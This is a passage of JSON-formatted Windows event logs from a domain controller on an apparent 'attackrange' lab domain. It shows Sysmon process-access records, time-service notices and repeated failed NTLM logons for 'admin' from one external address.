M32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.984\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.984","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221487,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59573\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59573","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":139,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76807,"ProcessID":1220,"ThreadID":3884,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service has started advertising as a time source.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":143,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76808,"ProcessID":1220,"ThreadID":3884,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service has started advertising as a good time source.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221488,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59679\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59679","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221489,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59831\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 